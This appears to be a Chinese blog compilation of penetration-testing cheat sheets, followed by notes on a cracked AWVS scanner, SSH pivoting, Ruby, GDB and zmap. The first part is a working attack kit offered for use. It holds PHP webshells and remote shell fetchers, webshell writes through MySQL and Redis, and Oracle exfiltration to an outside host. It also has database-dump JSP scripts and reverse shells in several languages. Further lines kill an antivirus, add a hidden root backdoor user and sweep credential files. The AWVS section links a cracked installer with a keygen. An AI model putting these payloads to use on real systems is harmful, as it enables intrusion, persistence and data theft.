在使用OpenShift的服务时安装程序但不知道mysql的主机地址,可以通过
mysql命令行进入mysql数据库的user表中查询对应的数据库地址,具体方法如下

1
2
3
mysql -u username -ppassword
use mysql
select user,host from mysql where user='username';

查找到的主机就是数据库的地址,端口默认是3306

PHP相关

1
2
3
4
5
6
7
8
9
10
11
<?php copy("http://x.x.x.x/shell.txt", "d:\www\shell.php"); ?>

<?php include "$_GET['_']"; ?>

<?php assert($_POST["1"]);?>

<?php
$url = "http://x.x.x.x/shell.txt";
$contents = file_get_contents($url);
echo $contents;
?>

Mysql数据库
phpmyadmin爆路径

1
http://url/phpMyAdmin/libraries/select_lang.lib.php

SQL语句导出shell:

1
select "<?php eval($_POST['1']);?>" into outfile 'C:\www\shell.php';

Redis数据库
写shell:

1
2
3
4
config set dir D:\www
config set dbfilename shell.php
set webshell "<?php eval($_POST[x]);?>"
save

Oracle数据库
查数据库ip

1
select sys_context('userenv','ip_address') from dual

通过外连回传数据

1
SELECT UTL_HTTP.request('http://target.com/getdata?data='||TABLE_NAME) FROM USER_TABLES WHERE ROWNUM<=1

查询所有表

1
SELECT * FROM ALL_TABLES

查询当前用户表

1
select table_name from user_tables;

查询所有表按大小排序

1
2
SELECT TABLE_NAME,NUM_ROWS FROM ALL_TABLES   order by  NUM_ROWS  desc
select table_name,NUM_ROWS from user_tables order by NUM_ROWS desc

查询表前十条

1
select  *   from  users  where  rownum < 10

分页查询 2000000 到 4000000

1
SELECT * FROM (SELECT e.*,ROWNUM rn FROM (select * from user ) e WHERE ROWNUM <= 4000000) WHERE rn > 2000000

查询当前编码

1
select userenv('language') from dual;

命令行执行

1
export NLS_LANG="american_america.AL32UTF8"

拖库脚本
JSP1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="java.io.*,java.lang.*,java.sql.*"%>
<%
Class.forName("oracle.jdbc.driver.OracleDriver");
Connection conn = DriverManager.getConnection("jdbc:oracle:thin:@172.0.0.1:1521:orabi", "admin", "admin");
File f = new File("/webapps/ROOT/css/t1.txt");
BufferedWriter bw = new BufferedWriter(new FileWriter(f));
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
ResultSet rs=stmt.executeQuery("select * from member where rownum > 2000000");
ResultSetMetaData rsmd = rs.getMetaData();
int numberOfColumns = rsmd.getColumnCount();
for(int i=1;i<numberOfColumns+1;i++){
bw.write(rsmd.getColumnName(i)+",");
}
while (rs.next()){
for(int i=1;i<numberOfColumns+1;i++){
bw.write(rs.getString(i)+",");
}
bw.newLine();
bw.flush();
}
out.print(rs);
%>

JSP2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="java.io.*,java.lang.*,java.sql.*"%>
<%
Class.forName("oracle.jdbc.driver.OracleDriver");
Connection conn = DriverManager.getConnection("jdbc:oracle:thin:@127.0.0.1:1521", "admin", "password");
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
String html="";
File file = new File("/tmp/data.txt");
BufferedReader br = new BufferedReader(new FileReader(file));
String line;
while ((line = br.readLine()) != null) {
html=html+"<h3>"+line+":</h3><table border=1><tr>";
ResultSet rs=stmt.executeQuery("select * from "+line+" where rownum < 100");
ResultSetMetaData rsmd = rs.getMetaData();
int numberOfColumns = rsmd.getColumnCount();
for(int i=1;i<numberOfColumns+1;i++){
html=html+"<th>"+rsmd.getColumnName(i)+"</th>";
}
html+="</tr>";
while (rs.next()){
html+="<tr>";
for(int i=1;i<numberOfColumns+1;i++){
html=html+"<td>"+rs.getString(i)+"</td>";
}
html+="</tr>";
}
rs.close();
html+="<tr></table>";
}
File f = new File("/tmp/info.css");
BufferedWriter bw = new BufferedWriter(new FileWriter(f));
bw.write(html);
bw.close();
br.close();
stmt.close();
conn.close();
%>

ColdFusion

1
2
3
4
5
6
7
8
9
10
11
12
13
<CFSET USERNAME="user">
<CFSET PASSWORD="pass">
<CFSET DATABASE="ya_db">
<CFTRY>
<CFQUERY NAME="DATA" DATASOURCE=#DATABASE# USERNAME=#USERNAME# PASSWORD=#PASSWORD#>
SELECT * FROM MEMBER
</CFQUERY>
<CFCATCH Type="Any"></CFCATCH>
</CFTRY>
<CFSAVECONTENT variable="Dump_DATA">
<CFDUMP var="#DATA#" EXPAND="YES" FORMAT="TEXT">
</CFSAVECONTENT>
<cffile action="write" output="#Dump_DATA#" FILE="C:\\RECYCLER\\#USERNAME#_DATA.txt">

反弹shell
bash

1
bash -i >& /dev/tcp/1.1.1.1/1234 0>&1
1
rm -f /tmp/p; mknod /tmp/p p && telnet 1.1.1.1 1234 0/tmp/p

ruby

1
ruby -rsocket -e'f=TCPSocket.open("1.1.1.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

perl

1
2
3
4
perl -e 'use Socket;$i="1.1.1.1";
$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python

1
2
3
4
5
6
7
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("1.1.1.1",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'

php

1
php -r '$sock=fsockopen("1.1.1.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Windows取消共享文件夹安全警告

1
2
@echo off
Reg add HKCU\Software\Microsoft\Windows\CurrentVersion\PolicIEs\Associations /v LowRiskFileTypes /t REG_SZ /d .exe;.reg;.msi;.bat;.cmd;.com;.vbs;.hta;.scr;.pif;.js;.lnk; /f

kill安全狗3.x

1
ntsd -c q -pn SafeDogGuardCenter.exe

其他
python Simple HTTP服务:

1
python -m SimpleHTTPServer 

Linux相关技巧
压缩目录

1
2
3
zip  -r  root.zip  /root/*
tar -czvf root.tar.gz /root/
tar -cvf user/tmp/ooouser.tar user/ --exclude=image --exclude= --exclude *.jpg --exclude *.gif --exclude *.zip --exclude *.bmp --exclude *.eps --exclude *.psd

添加用户并设置密码

1
useradd -p `openssl passwd -1 -salt 'lsof' admin` -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/lsof lsof

收集所有.sh .pl .py .conf .cnf .ini .*history .pass (/usr/share目录里面的除外) 并打包成zip

1
find / \! -path “/usr/share/*” -regex “.*\.sh$\|.*\.pl$\|.*\.py$\|.*\.conf$\|.*\.cnf$\|.*\.ini$\|.*\/\..*history$\|.*\/\..*pass.*” -print|zip pack.zip -@

array_push 后门

1
array_map("ass\x65rt",(array)$_REQUEST['array']);

AWVS,即 Acunetix Web Vulnerability Scanner,不知道作者是谁或者哪个团队,只知道他是老外搞出来的一款重型扫描器。
哥这一年接触的扫描器比较多,A厂B厂C厂的扫描器一堆,个人观点是web扫描器中AWVS并不是最优秀的。但是不得不说,AWVS一定是
最便携的扫描器之一,一个安装包即可搞定。
说到安装包,自然得提一下AWVS的安装。
那么国外的这款神器是不是收费的呢,答案当然是yes,虽然不要998,但是至少也应该够屌丝吃几顿早饭的了。
哥在写这篇文章的时候AWVS的最新版本是10.x
这里给个传送门,是H大的原帖地址,想了解相关内容的可以去看看此贴:

1
http://www.52pojie.cn/thread-377625-1-1.html

原帖里留下的百度网盘的下载地址:

1
2
3
4
5
链接:http://pan.baidu.com/s/1i3Br6ol 密码:u60f

2017/03/02更新:
上面的网盘不能用了,以后有更新我会上传到这里供大家下载:
http://chorder.net/download/awvs_10_5.zip

希望有幸下载到此款神器的小朋友也不要拿它去做伤天害理的事情。
哥一直是使用H大分享的地址里的安装包安装的,虽然也会被360报毒,不过一直很相信H大以及吾爱破解论坛里各位大牛们的人品,所以很坦然的装在了主机上。如果你是从别的地方下载的安装包,有没有被绑马我就不知道了。
下载之后先安装AWVS主程序,就是比较大的那个,会有个注册机藏在压缩包里,解压之后运行,在响起动人的超级玛丽音乐之后点击patch,即可完成注册。
这一切都是Hmily大牛的神作,10.x的注册机比9.x的注册机用户体验要好很多,这里再次向Hmily致敬。

说完了安装,接下来说说使用。
这是最基本的扫描界面,给个截图,自己体会

填上要扫描的站点地址,选择想要扫描的漏洞类型,或者默认的default是扫描全部的漏洞,接着start就可以了。

既然是玩转AWVS,那么常规的玩法自然就不提了,这里说一下除了基本扫描之外其他的功能。
1.带着cookies扫描
有时候我们需要带着Cookies扫描一下后台啊或者用户页面什么的,这个时候可以在
Scan Settings->Custom Cookies选项中添加我们需要携带的cookies,来对需要登录的页面进行扫描。
也可以在Scan Settings->Input Fields中添加我们需要用来登录的用户名和密码,但是这比指定cookies不爽的地方就是
遇到验证码就歇菜了,建议不同情况下区别对待。

2.站点爬虫
有的时候我们不是想扫描某个站点,只是想用爬虫爬出站点的基本结构,这时候就需要用Site Crwaler了

爬虫只对站点进行爬行,不进行漏洞扫描。

3.目标发现
渗透测试很苦逼有木有,资产清单里都是一个c一个c的列有木有
而目标发现,就是让我们探测ip段的

相当于一个端口扫描器了。

4.子域名检测
通常对一个目标进行渗透的时候,除了段与段之外,还有子域名,而AWVS这款神奇工具,也自带子域名探测功能

awvs的子域名探测是基于字典和枚举的,同时扫描时也可以指定用来检测解析的DNS服务器,有时候可以几个DNS服务器交换着
检测,以便更加准确的扫描出子域名。

5.将AWVS部署在web服务器中
有时候我们不想在本地进行扫描,太占带宽和cpu了,这时候可以把AWVS安装到windows服务器中,通过浏览器访问awvs的web服务

可以看见默认的端口是8183,有一些web接口认证相关的选项,可以为web接口设置一个密码,或者指定https选项等等
登录web接口之后的界面如下:

可以看见,通过web接口,一样可以发起扫描任务,指定扫描选项等等。

(原创内容,转载请注明出处:http://chorder.net/)

这篇文章就到此为止,下一篇再总体说一说http fuzzer,sniffer,editor,compare等功能。

【原创内容,转载请注明来自Chorder’s Mainpage:https://www.chorder.net】

玩转AWVS(一):https://chorder.net/2015/12/02/玩转AWVS(一)/
玩转AWVS(二):https://chorder.net/2016/02/03/玩转AWVS(二)/

python:
先按F5,之后将下面的命令保存,再设置快捷键。

1
cmd /k  c:\python27\python "$(FULL_CURRENT_PATH)" & PAUSE & EXIT

我使用的是Ctrl+F9
之后按Ctrl+s保存更改,再按Ctrl+F7即可快速在cmd中运行代码,方便调试。

ruby

1
cmd /k  C:\Ruby22-x64\bin\ruby "$(FULL_CURRENT_PATH)" & PAUSE & EXIT

tpp:命令行ppt工具
slurm:流量查看工具
script:命令录制

录制:

1
script -t 2>test.time -a test.txt

播放:

1
scriptreplay test.time test.txt

fortune/fortune-zh:随机输出短语和诗词
cowsay:以动物的形象说话
联合起来使用:

1
fortune-zh|cowsay -f "$(ls /usr/share/cowsay/cows | sort -R | head -1)"

cmatrix:
toilet:输出ASCII艺术字
figlet:另一款将字符进行图形化输出
xeyes:在屏幕上显示一只会随鼠标移动而移动的眼睛
彩蛋:星球大战在线播放

1
telnet towel.blinkenlights.nl

使用GDB对GCC编译出的ELF文件进行调试。
首先在编译的时候,需要加上-g参数:
gcc -g -o test test.c -Wall
这样才能在编译的时候产生符号表,GDB才可以载入。
编译好程序以后,使用gdb test载入程序
添加断点:b 行号
运行:r
单步执行(next):n
跟踪步入(step):s
恢复执行(continue):c
打印变量值(print):p 变量名
查看断点信息:info b
列出源代码(list)l
退出:q

汇编相关:
查看汇编格式:show disassembly-flavor
将汇编格式转换成intel:set disassembly-flavor intel
将汇编格式转换成at&t:set disassembly-flavor att
显示汇编代码:disassemble 函数名

在很多时候拿到了内网的一台主机,我们需要用它做跳板来对内网进一步扩大战果。
也许方法很多,meterpreter,nc等等。但是最方便也最有可能穿透防火墙的方法,就是用ssh。
分为四种类型:
本地转发,远程转发,跳板转发,动态转发。
本地转发
假设攻击机A主机为本机,ip是y.y.y.y,用户是hacker,被攻击且用作跳板的主机是B,ip是
x.x.x.x,对应的内网ip是10.0.0.2,用户是root,ssh的端口是22。
假设B机器上的80端口开放了一个服务,但是只有B主机本机上才能访问,这时候可以使用本地转
发,在A机器上执行命令:

1
ssh -L 8080:localhost:80 [email protected] 

这样,在本机A中访问localhost:80,数据被转发到B主机的80端口,即实现了访问B机器的本地
服务。
很常见的一个实例就是攻击者拿下了某目标内部的网关服务器,但是出于安全考虑网管的web控
制台界面只有在网关服务器自身上才能访问,这时候就可以通过这种方式转发流量,方便的操作
网关服务器的web控制台了。
上面的情况,是基于A主机可以ssh到B的情况,但假如从A到B的ssh连接被拒绝,而恰好B主机的
防火墙没有禁止其使用ssh外连,这时候就可以通过远程转发来实现上述同样的效果。
在B机器上执行命令:

1
ssh -R 8080:localhost80 [email protected] 

这时候在A机器上访问自身的8080端口,数据也是被转发到了B主机的80端口上的。
可见,这种方式受到的局限比较多,因为如果能够在B主机上使用ssh外连了,还需要通过ssh来
转发流量的情况也是很少见的,但也不是没有。
以上两种转发,都是只对跳板服务器自身的服务,很多时候,渗透需要的是内网中一台稳定的跳板,
这时候就可以使用
跳板转发来实现多主机之间转发。
假设现在需要通过B主机作为跳板,来访问与B处于同一内网中的机器C的80端口,假设C的ip是
10.0.0.3,这时候可以在攻击机上执行如下命令:

1
ssh -g -L 8080:10.0.0.3:80 [email protected] 

此时在A主机上8080端口的流量就被转发到C主机的80端口上了。
最有用的就是最后要介绍的,
动态转发,这种转发可以将流量随心所欲的转发,此时实现的效果就相当于代理服务器,在A机器
上用下面的命令实现:

1
ssh -D 8080 [email protected] 

此时在A机器上配置SOCKS代理端口localhost:8080,就可以以B为代理服务器随心所欲的畅游。
最后补充使用ssh进行X转发的命令,其实很简单:

1
ssh -X [email protected] 

这样连接上以后,目标机器的X服务器所做的操作都会通过x协议发送到本地,很方便的实现了可
视化操作。
例如在终端输入firefox,就可以在本地弹出一个实际上运行在远程的firefox进程。

1.数组遍历方法总结
(1)

1
array = (1..10).to_a 

(2)

1
2
3
4
5
length = array.length 
length.times do t
print "#{array[t]} "
end
puts "n"

(3)

1
2
3
4
5
length = array.length-1 
for i in 0..length do
print "#{array[i]} "
end
puts "n"

(4)

1
2
3
4
5
6
7
8
9
for i in array do 
print "#{i} "
end
puts "n"
```Ruby
(5)
```Ruby
array.each{x print x," "}
puts "n"

(6)

1
2
3
4
5
6
7
length = array.length 
i = 0
while i< length do
print "#{array[i]} "
i = i+1
end
puts "n"

(7)

1
2
3
4
5
6
7
length = array.length 
i = 0
until i==length do
print "#{array[i]} "
i += 1
end
puts "n"

(8)

1
2
array.each_index do i 
print "#{array[i]} "

2.Ruby连接数据库
(1).mysql

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
require 'mysql'  
begin
db = Mysql.init
db.options(Mysql::SET_CHARSET_NAME, 'utf8')
db = Mysql.real_connect("127.0.0.1", "root", "123456", "test", 3306)
db.query("SET NAMES utf8")
db.query("drop table if exists tb_test")
db.query("create table tb_test (id int, text LONGTEXT) ENGINE=MyISAM DEFAULT CHARSET=utf8")
db.query("insert into tb_test (id, text) values ( 1,'first line'),(2,'second line')")
printf "%d rows were inserted\n",db.affected_rows
rslt = db.query("select text from tb_test")
while row = rslt.fetch_row do
puts row[0]
end
rescue Mysql::Error => e
puts "Error code: #{e.errno}"
puts "Error message: #{e.error}"
puts "Error SQLSTATE: #{e.sqlstate}" if e.respond_to?("sqlstate")
ensure
db.close if db
end

(2).redis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/ruby

require 'redis'

def writeToFile(file,content)
fp = File.new(file,"a+")
if fp
fp.syswrite(content)
else
puts "..."
end
end

def connect(host)
redis = Redis.new(:host => host,:port => 6379)
redis.info.keys.each do |key|
puts "#{key}:\t"+redis.info["#{key}"]
end
end

connect("1.1.1.1")

(3).sqlite3

1
2
3
4
5
6
7
8
9
10
11
12
require 'sqlite3'

db = SQLite3::Database.new('test.db')

db.execute("create table test(
ID integet not null,
Username varchar(20) null,
Password varchar(64) null)")
db.execute("insert into test(ID.Username,Password)
values('0','admin','admin')")
db.execute("select * from test")
db.execute("update test set password='12345' where id=0")

3.Ruby socket
服务端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
require 'socket'

server = TCPServer.open('0.0.0.0', 8080)
loop do
Thread.start(server.accept) do |client|
begin
while true
puts "#{client.to_i} online"
data = client.read()
throw "empty" if data.empty?
#puts data.length
puts data
end
rescue Exception => e
puts "#{client.to_i} offline"
end
end
end

客户端:

1
2
3
4
5
6
7
8
9
require 'socket'

hostname = '127.0.0.1'
port = 8080
buf = 'test'
s = TCPSocket.open(hostname, port)
s.write buf
sleep(1)
s.close

4.ruby gem 文档
rubygems.org上main的gem文档访问起来太慢了,其实装了gem的机器本身就自带doc的功能
使用下列命令可以启动gem自带的文档

1
gem server --port 1234

然后用浏览器访问http://localhost:1234就可以查看相关的gem文档。

5.ruby改变控制台输出内容的颜色

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
puts "\033[1m前景色\033[0m\n"  
puts "\033[30mBlack (30)\033[0m\n"
puts "\033[31mRed (31)\033[0m\n"
puts "\033[32mGreen (32)\033[0m\n"
puts "\033[33mYellow (33)\033[0m\n"
puts "\033[34mBlue (34)\033[0m\n"
puts "\033[35mMagenta (35)\033[0m\n"
puts "\033[36mCyan (36)\033[0m\n"
puts "\033[37mWhite (37)\033[0m\n"
puts ''
puts "\033[1m背景色\033[0m\n"
puts "\033[40m\033[37mBlack (40), White Text\033[0m\n"
puts "\033[41mRed (41)\033[0m\n"
puts "\033[42mGreen (42)\033[0m\n"
puts "\033[43mYellow (43)\033[0m\n"
puts "\033[44mBlue (44)\033[0m\n"
puts "\033[45mMagenta (45)\033[0m\n"
puts "\033[46mCyan (46)\033[0m\n"
puts "\033[47mWhite (47)\033[0m\n"
puts ''
puts "\033[1m其他\033[0m\n"
puts "Reset (0)"
puts "\033[1mBold (1)\033[0m\n"
puts "\033[4mUnderlined (4)\033[0m\n"

6.一些比较特别的包
Ruby json gem
https://rubygems.global.ssl.fastly.net/gems/json-1.8.3.gem
树莓派wiringpi gpio包
http://pi.gadgetoid.com/article/wiringpi-as-a-ruby-gem

7.安装rvm的正确姿势
参考自:http://rvm.io/rvm/install
首先添加gpg公钥:

1
gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3

安装稳定版本的rvm

1
curl -sSL https://get.rvm.io | bash -s stable --ruby

Usage: zmap [OPTIONS]… [SUBNETS]…
基本参数:

1
2
3
4
5
-p, --target-port=port 要扫描的TCP端口号(SYN扫描)
-o, --output-file=name 输出文件
-b, --blacklist-file=path 该文件指定扫描中要排除的子网,如192.168.0.0/16
-w, --whitelist-file=path 该文件指定扫描中要包含的子网,如192.168.0.0/16
-f, --output-fields=fields 指定在扫描结果中应该被输出的域

扫描选项:

1
2
3
4
5
6
7
8
9
10
11
12
-n, --max-targets=n 指定探测目标的最大数目(数字或者地址空间的百分比)
-N, --max-results=n 指定采集结果最大值(即需要收集多少结果)
-t, --max-runtime=ses 指定发包的时长
-r, --rate=pps 指定发包的速率
-B, --bandwidth=bps 指定带宽(G,M,K)
-c, --cooldown-time=secs 上次探测发送多久后进行接收(默认是8)
-e, --seed=n 用来对地址进行排序
-T, --sender-threads=n 用来发包的线程(默认是1)
-P, --probes=n 朝每个ip发送的探测次数(默认是1)
-d, --dryrun 并不实际发包
--shards=N 设置碎片总数(默认是1)
--shard=n 设置此次扫描的碎片(默认是0)

网络选项:

1
2
3
4
5
-s, --source-port=portrange 扫描包的源端口
-S, --source-ip=iprange 扫描包的源地址
-G, --gateway-mac=addr 指定网关的mac地址
-i, --interface=name 指定要使用的网络接口
-X, --vpn 发送IP包代替以太网(在VPN中)

高级选项:

1
2
3
4
5
6
7
8
-M, --probe-module=name 选择探测模式(默认是tcp_synscan)
-O, --output-module=name 选择输出模式(默认是default)
--probe-args=args 通过扫描模块的参数
--output-args=args 通过输出模块的参数
--output-filter=filter 在输出中限制答复域的过滤器
--list-output-modules 列出可用的输出模块
--list-probe-modules 列出可用的探测模块
--list-output-fields 列出已选择的探测模块中可以被输出的域

附加选项:

1
2
3
4
5
6
7
8
9
10
11
-C, --config=filename 从文件中读取指定的配置选项(默认是/etc/zmap/zmap.conf)
-l, --log-file=name 将日志条目写入文件
-L, --log-directory=directory 将日志条目写入此目录下的时间戳文件
-q, --quiet 不输出状态更新
-g, --summary 在扫描结果后打印配置集合
--metadata-file=name 扫描元数据的输出文件(JSON)
--ignore-invalid-hosts 忽略白名单或黑名单中无效的主机
--disable-syslog 不将消息记录到系统日志
-v, --verbosity=n 日志细节等级(0-5) (默认是3)
-h, --help 打印帮助并退出
-V, --version 打印版本并退出

示例:

1
2
3
4
zmap -p 80 -o - (扫描整个因特网寻找80端口开放的主机并输出到标准输入输出)
zmap -N 5 -B 10M -p 80 -o - (找到舞台HTTP服务器,扫描速度为10Mb/s)
zmap -p 80 10.0.0.0/8 192.168.0.0/16 -o (扫描10./8, 192.168./16网段的80端口)
zmap -p 80 192.168.1.2 192.168.1.3 (扫描192.168.1.2, 192.168.1.3的80端口)
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×